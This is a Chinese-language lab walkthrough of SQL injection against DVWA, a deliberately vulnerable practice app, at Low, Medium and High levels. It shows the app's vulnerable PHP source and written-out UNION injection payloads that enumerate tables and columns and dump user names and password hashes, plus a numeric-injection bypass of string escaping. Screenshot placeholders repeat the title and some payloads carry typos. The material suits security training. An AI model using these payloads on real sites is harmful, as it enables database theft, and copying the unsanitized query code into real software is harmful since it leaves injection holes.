dvwa之sql注入学习(不同级别)

dvwa之sql注入学习(不同级别)

级别:Low

dvwa之sql注入学习(不同级别)

从页面上看到,有一个可以提交查询内容的地方

我们可以通过以下步骤判断这里是否存在注入点

① 输入1  提交

dvwa之sql注入学习(不同级别)

②输入1' 提交

dvwa之sql注入学习(不同级别)

③输入1 and 1=1 提交

dvwa之sql注入学习(不同级别)

④输入1 and 1=2提交

dvwa之sql注入学习(不同级别)

由上可以看出是存在注入点的,  我们猜测sql查询语句是这样的:  

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
我们看一下这里的源码  果然真的是这样,没有任何过滤

<?php

if( isset( $_REQUEST'Submit' ] ) ) {
    
// Get input
    
$id $_REQUEST'id' ];

    
// Check database
    
$query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
$result mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

    
// Get results
    
while( $row mysqli_fetch_assoc$result ) ) {
        
// Get values
        
$first $row["first_name"];
        
$last  $row["last_name"];

        
// Feedback for end user
        
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }


    mysqli_close($GLOBALS["___mysqli_ston"]);
}



?> 

那么我们首先爆出它的库试试,用单引号让id闭合

输入 1' union select1,database()#提交


dvwa之sql注入学习(不同级别)

可以看出目前使用的数据库为dvwa,接下来我们爆表试试

输入 1' union select1,table_name from information_schema.tables where table_name='dvwa'#

dvwa之sql注入学习(不同级别)

可以看到有两个表,我们爆一下users的列,

输入1' union select1,column_name from information_schema.columns where table_name='users'#

dvwa之sql注入学习(不同级别)

可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容

输入 1' union select1,concat(user,password) from users#

dvwa之sql注入学习(不同级别)

级别:Medium SQL Injection Source

dvwa之sql注入学习(不同级别)

这个级别我们可以看出,这是通过一个下拉表的方式提交数据的,

dvwa之sql注入学习(不同级别)

而且我们提交一个数据后发现URL如下

http://localhost/DVWA-1.9/vulnerabilities/sqli/#

所以不是get型注入,应该是把提交的数据存放到post数据中了

我们可以用hackbar试一下或者用burpsuite抓包试一下。先用hackbar试一下吧

添加post数据如下  点击run

dvwa之sql注入学习(不同级别)

得到返回的页面如下:

dvwa之sql注入学习(不同级别)

则我们就可以在这里添加注入语句了

添加post数据如下:

dvwa之sql注入学习(不同级别)

获得当前数据库为dvwa

使用burp suite

dvwa之sql注入学习(不同级别)

但是我们执行这句话时却报错了:id=2  union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit

dvwa之sql注入学习(不同级别)

Low版本的就可以注入,中等的就不可以注入了,这是为什么呢?打开源码看一下:

Medium SQL Injection Source

<?php

 

if( isset( $_POST[ 'Submit' ] ) ) {

   // Get input

   $id = $_POST[ 'id' ];

    $id = mysql_real_escape_string($id );

 

   // Check database

   $query  = "SELECT first_name,last_name FROM users WHERE user_id = $id;";

   $result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );

 

   // Get results

   $num = mysql_numrows( $result );

   $i   = 0;

   while( $i < $num ) {

       // Display values

       $first = mysql_result( $result, $i, "first_name" );

       $last  = mysql_result( $result,$i, "last_name" );

 

       // Feedback for end user

       echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";

 

        // Increase loop count

       $i++;

    }

 

   //mysql_close();

}

 

?>

发现有这样的一句话:$id = mysql_real_escape_string($id );

这句话是干什么用的呢?百度了一下知道

mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:

\x00  \n  \r  \ '  "  \x1a

那我们换这样的注入方式 只要不用’就行

id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#&Submit=Submit

 

dvwa之sql注入学习(不同级别)

High级别

dvwa之sql注入学习(不同级别)

dvwa之sql注入学习(不同级别)

发现就直接爆出来了  和low级别方法差不多,这里就不一一爆字段了